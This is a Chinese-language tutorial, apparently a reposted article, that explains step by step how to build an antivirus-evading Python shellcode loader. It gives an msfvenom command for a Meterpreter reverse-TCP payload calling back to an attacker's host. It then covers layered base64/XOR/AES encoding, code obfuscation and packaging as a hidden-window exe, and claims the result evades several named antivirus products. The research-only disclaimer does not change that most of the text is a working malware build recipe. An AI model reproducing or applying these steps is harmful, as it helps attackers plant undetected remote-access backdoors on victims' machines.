免责声明:仅供安全研究与教学之用,如果使用者将其做其他用途,由使用者承担全部法律及连带责任,本人不承担任何法律及连带责任。https://github.com/HZzz2/python-shellcode-loader
免杀方式:msfvenom生成raw格式的shellcode-->base64-->XOR-->AES,将python代码缩小并混淆最后生成exe。
目前过DF、360和火绒,virustotal:7/66过卡巴斯基、迈克菲等。git clone https://github.com/HZzz2/python-shellcode-loader.gitcd python-shellcode-loaderpip install -r .\requirements.txt
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=9999 -f raw > rev.raw
2. base64编码shellcode并替换jiami.py中的值
base64 -w 0 -i rev.raw > rev.bs64
cat rev.bs64
复制base64的值替换jiami.py中payload 也就是 第二十四行 sc='payload'3. 加密base64并替换main.py中的值
会生成一个aes-xor.txt的文件,复制文件里的值(经过XOR和AES加密后)复制的值替换main.py中的payload 也就是第四十一行 jiami_sc='payload'4. 缩小和混淆py代码
pyminify main.py --output main-mini.py
将混淆后的代码保存到一个文件中,比如文件名为:main-mini-ob.py5. 打包成可执行文件exe
pyinstaller.exe -Fw -i .\setting.ico --key=leslie .\main-mini-ob.py
-F打包为单文件,-w不显示窗口,-i ico图标文件,--key 加密字节码的密钥,等待打包完成。。。。打包好后的可执行程序在dist目录中。360杀毒
360安全卫士云查杀
virustotal
文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247535809&idx=1&sn=2b8af8d7665451d14a26d3734a0058b8&chksm=f9e3239ace94aa8c72cb4010f67d373e3dca86f03c848b480acc3e156d7e06880b5e53516a63#rd
如有侵权请联系:admin#unsafe.sh